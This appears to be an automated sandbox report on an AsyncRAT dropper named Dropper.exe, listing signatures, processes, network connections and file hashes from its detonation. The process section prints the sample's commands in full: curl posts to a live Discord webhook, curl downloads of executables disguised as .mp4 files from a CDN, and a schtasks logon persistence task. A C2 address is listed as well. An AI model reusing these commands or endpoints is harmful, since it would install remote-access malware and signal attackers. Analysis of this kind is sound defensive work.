Malware Analysis Report

2024-09-22 06:58

Sample ID 240622-kkcs9swdrq
Target Dropper.exe
SHA256 3aed680e7ffde9f2f34681d7d60ee188862da9d48c7cace56060eebd6bbfb152
Tags
asyncrat default rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

3aed680e7ffde9f2f34681d7d60ee188862da9d48c7cace56060eebd6bbfb152

Threat Level: Known bad

The file Dropper.exe was found to be: Known bad.

Malicious Activity Summary

asyncrat default rat

AsyncRat

Async RAT payload

Downloads MZ/PE file

Checks computer location settings

Executes dropped EXE

Legitimate hosting services abused for malware hosting/C2

Enumerates physical storage devices

Unsigned PE

Suspicious use of SetWindowsHookEx

Delays execution with timeout.exe

Scheduled Task/Job: Scheduled Task

Uses Task Scheduler COM API

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Reported

2024-06-22 08:39

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-22 08:39

Reported

2024-06-22 08:41

Platform

win7-20240508-en

Max time kernel

121s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Dropper.exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Dropper.exe

"C:\Users\Admin\AppData\Local\Temp\Dropper.exe"

Network

N/A

Files

memory/1932-0-0x0000000074D3E000-0x0000000074D3F000-memory.dmp

memory/1932-1-0x00000000011D0000-0x00000000011EC000-memory.dmp

memory/1932-2-0x0000000074D3E000-0x0000000074D3F000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-22 08:39

Reported

2024-06-22 08:41

Platform

win10v2004-20240611-en

Max time kernel

149s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Dropper.exe"

Signatures

AsyncRat

rat asyncrat

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Dropper.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Enumerates physical storage devices

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2080 wrote to memory of 4848 N/A C:\Users\Admin\AppData\Local\Temp\Dropper.exe C:\Windows\SysWOW64\cmd.exe
PID 2080 wrote to memory of 4848 N/A C:\Users\Admin\AppData\Local\Temp\Dropper.exe C:\Windows\SysWOW64\cmd.exe
PID 2080 wrote to memory of 4848 N/A C:\Users\Admin\AppData\Local\Temp\Dropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4848 wrote to memory of 4792 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 4848 wrote to memory of 4792 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 4848 wrote to memory of 4792 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 2080 wrote to memory of 4564 N/A C:\Users\Admin\AppData\Local\Temp\Dropper.exe C:\Windows\SysWOW64\cmd.exe
PID 2080 wrote to memory of 4564 N/A C:\Users\Admin\AppData\Local\Temp\Dropper.exe C:\Windows\SysWOW64\cmd.exe
PID 2080 wrote to memory of 4564 N/A C:\Users\Admin\AppData\Local\Temp\Dropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4564 wrote to memory of 1188 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 4564 wrote to memory of 1188 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 4564 wrote to memory of 1188 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 2080 wrote to memory of 4184 N/A C:\Users\Admin\AppData\Local\Temp\Dropper.exe C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe
PID 2080 wrote to memory of 4184 N/A C:\Users\Admin\AppData\Local\Temp\Dropper.exe C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe
PID 2080 wrote to memory of 4912 N/A C:\Users\Admin\AppData\Local\Temp\Dropper.exe C:\Windows\SysWOW64\cmd.exe
PID 2080 wrote to memory of 4912 N/A C:\Users\Admin\AppData\Local\Temp\Dropper.exe C:\Windows\SysWOW64\cmd.exe
PID 2080 wrote to memory of 4912 N/A C:\Users\Admin\AppData\Local\Temp\Dropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4912 wrote to memory of 4276 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 4912 wrote to memory of 4276 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 4912 wrote to memory of 4276 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 2080 wrote to memory of 4404 N/A C:\Users\Admin\AppData\Local\Temp\Dropper.exe C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe
PID 2080 wrote to memory of 4404 N/A C:\Users\Admin\AppData\Local\Temp\Dropper.exe C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe
PID 2080 wrote to memory of 4068 N/A C:\Users\Admin\AppData\Local\Temp\Dropper.exe C:\Windows\SysWOW64\cmd.exe
PID 2080 wrote to memory of 4068 N/A C:\Users\Admin\AppData\Local\Temp\Dropper.exe C:\Windows\SysWOW64\cmd.exe
PID 2080 wrote to memory of 4068 N/A C:\Users\Admin\AppData\Local\Temp\Dropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4068 wrote to memory of 1864 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 4068 wrote to memory of 1864 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 4068 wrote to memory of 1864 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 2080 wrote to memory of 4980 N/A C:\Users\Admin\AppData\Local\Temp\Dropper.exe C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe
PID 2080 wrote to memory of 4980 N/A C:\Users\Admin\AppData\Local\Temp\Dropper.exe C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe
PID 2080 wrote to memory of 5032 N/A C:\Users\Admin\AppData\Local\Temp\Dropper.exe C:\Windows\SysWOW64\cmd.exe
PID 2080 wrote to memory of 5032 N/A C:\Users\Admin\AppData\Local\Temp\Dropper.exe C:\Windows\SysWOW64\cmd.exe
PID 2080 wrote to memory of 5032 N/A C:\Users\Admin\AppData\Local\Temp\Dropper.exe C:\Windows\SysWOW64\cmd.exe
PID 5032 wrote to memory of 1868 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 5032 wrote to memory of 1868 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 5032 wrote to memory of 1868 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 4184 wrote to memory of 544 N/A C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe C:\Windows\System32\cmd.exe
PID 4184 wrote to memory of 544 N/A C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe C:\Windows\System32\cmd.exe
PID 4184 wrote to memory of 3248 N/A C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe C:\Windows\system32\cmd.exe
PID 4184 wrote to memory of 3248 N/A C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe C:\Windows\system32\cmd.exe
PID 3248 wrote to memory of 2436 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 3248 wrote to memory of 2436 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 544 wrote to memory of 2548 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\schtasks.exe
PID 544 wrote to memory of 2548 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\schtasks.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\Dropper.exe

"C:\Users\Admin\AppData\Local\Temp\Dropper.exe"

C:\Windows\System32\rundll32.exe

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c curl "https://discord.com/api/webhooks/1253986586673283103/CvnAbLIiYSc2d4NdsSOOo_z4TsnJT2JyuZLeKUKi_ejCvAa0imwn4KDGeajcvxpgCrSn" -X POST -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" -H "Accept: application/json" -H "Accept-Language: en" -H "Accept-Encoding: gzip, deflate, br" -H "Referer: https://discohook.org/" -H "Content-Type: application/json" -H "Origin: https://discohook.org" -H "Connection: keep-alive" -H "Sec-Fetch-Dest: empty" -H "Sec-Fetch-Mode: cors" -H "Sec-Fetch-Site: cross-site" -H "TE: trailers" --data-raw "{""content"":""`Admin` Ran The File!"",""embeds"":null,""avatar_url"":""https://us.rule34.xxx//samples/1568/sample_2462f27a30bcbb733609276995ca37d4a7c91a2d.jpg?10163103"",""attachments"":[]}"

C:\Windows\SysWOW64\curl.exe

curl "https://discord.com/api/webhooks/1253986586673283103/CvnAbLIiYSc2d4NdsSOOo_z4TsnJT2JyuZLeKUKi_ejCvAa0imwn4KDGeajcvxpgCrSn" -X POST -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" -H "Accept: application/json" -H "Accept-Language: en" -H "Accept-Encoding: gzip, deflate, br" -H "Referer: https://discohook.org/" -H "Content-Type: application/json" -H "Origin: https://discohook.org" -H "Connection: keep-alive" -H "Sec-Fetch-Dest: empty" -H "Sec-Fetch-Mode: cors" -H "Sec-Fetch-Site: cross-site" -H "TE: trailers" --data-raw "{""content"":""`Admin` Ran The File!"",""embeds"":null,""avatar_url"":""https://us.rule34.xxx//samples/1568/sample_2462f27a30bcbb733609276995ca37d4a7c91a2d.jpg?10163103"",""attachments"":[]}"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/aachost.mp4?v=1719043456713 --output C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe

C:\Windows\SysWOW64\curl.exe

curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/aachost.mp4?v=1719043456713 --output C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe

C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe

"C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/sachost.mp4?v=1719043085712 --output C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe

C:\Windows\SysWOW64\curl.exe

curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/sachost.mp4?v=1719043085712 --output C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe

C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe

"C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/%2477-penisware2.mp4?v=1719043121460 --output C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe

C:\Windows\SysWOW64\curl.exe

curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/%2477-penisware2.mp4?v=1719043121460 --output C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe

C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe

"C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/Install.mp4?v=1719043283499 --output C:\Users\Admin\AppData\Local\Temp\$77-install.exe

C:\Windows\SysWOW64\curl.exe

curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/Install.mp4?v=1719043283499 --output C:\Users\Admin\AppData\Local\Temp\$77-install.exe

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "$77-aachost" /tr '"C:\Users\Admin\AppData\Roaming\$77-aachost.exe"' & exit

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp815B.tmp.bat""

C:\Windows\system32\timeout.exe

timeout 3

C:\Windows\system32\schtasks.exe

schtasks /create /f /sc onlogon /rl highest /tn "$77-aachost" /tr '"C:\Users\Admin\AppData\Roaming\$77-aachost.exe"'

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 82.90.14.23.in-addr.arpa udp
US 8.8.8.8:53 75.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 98.58.20.217.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.28.171.150.in-addr.arpa udp
US 8.8.8.8:53 discord.com udp
US 162.159.128.233:443 discord.com tcp
US 8.8.8.8:53 cdn.glitch.global udp
US 151.101.130.132:443 cdn.glitch.global tcp
US 8.8.8.8:53 233.128.159.162.in-addr.arpa udp
US 8.8.8.8:53 132.130.101.151.in-addr.arpa udp
US 151.101.130.132:443 cdn.glitch.global tcp
US 8.8.8.8:53 11.97.55.23.in-addr.arpa udp
US 151.101.130.132:443 cdn.glitch.global tcp
US 151.101.130.132:443 cdn.glitch.global tcp
US 8.8.8.8:53 94.65.42.20.in-addr.arpa udp
N/A 147.185.221.19:42571 tcp

Files

memory/2080-0-0x000000007480E000-0x000000007480F000-memory.dmp

memory/2080-1-0x0000000000C30000-0x0000000000C4C000-memory.dmp

memory/2080-2-0x000000007480E000-0x000000007480F000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe

MD5 514d0abd73e992c2a1622795b33f17f4
SHA1 96740e82d7a119d808000783507bd92690584fe6
SHA256 b333ecc39a213f6ce650dd4af50d2d201ee6f80dea63ec98132220670469bf53
SHA512 4600baecf44a9cbc7b33fd02d1807628597c6ecc87aeb12b653f6e3a46c951fe9cd789e100d96df8c57b5d0446397c8a639f0c7ee8ef9395c172598ce8185bc8

memory/4184-6-0x00000000000C0000-0x00000000000D6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe

MD5 12d2d1f43b0ecf5a949adde54b1ffb65
SHA1 ad0529bc9102210f3616c7b626c37d6454d44033
SHA256 619b345f6803d45bcf20305efb3407a8ae26ba0aaffe38e7b5f31cb8c26101ef
SHA512 0a55fc91d0bc7e3123b16b012c70c15f731c3be1f8499c733cc994fcec43d8cdf6279e0b9eedda35035423c8891e076be374c512d6506d81e1f81802af25153f

memory/4404-10-0x0000000000B50000-0x0000000000BA2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe

MD5 18f497deffe88b6b2cff336a277aface
SHA1 4e1413241d3d3e4dbff399d179f8fd64f3ecd39e
SHA256 8133c3c1e5dde7c9b4d9d5c9a07e37b733fd0223fc9d035c3f386f034a434af5
SHA512 35c804ec73001fe66d57bd2fadc51cd399edbc2e550c4257f29aac5a24a9f9c030c582d50239dec41605801263fd5739444aa14f9683f99f726152cc1bb6920d

memory/4980-14-0x00000000006C0000-0x0000000000706000-memory.dmp

memory/4980-15-0x0000000002760000-0x0000000002766000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmp815B.tmp.bat

MD5 d18965182157fee8347183c7ad862427
SHA1 f1d53d7eb51b900d8a64a88dce9f97bb69702773
SHA256 95798dc64ea9d985f441773f68767f03151c8eff61a908a0e709298a9561ac35
SHA512 7e749a2c20850cd7264f76880b3d34a2c74e4bd85e4a3cc4d290ad1f25e5005960d097e6dc00c9b4eff10192ad052241641f2a191b60226b9deca31f3097525b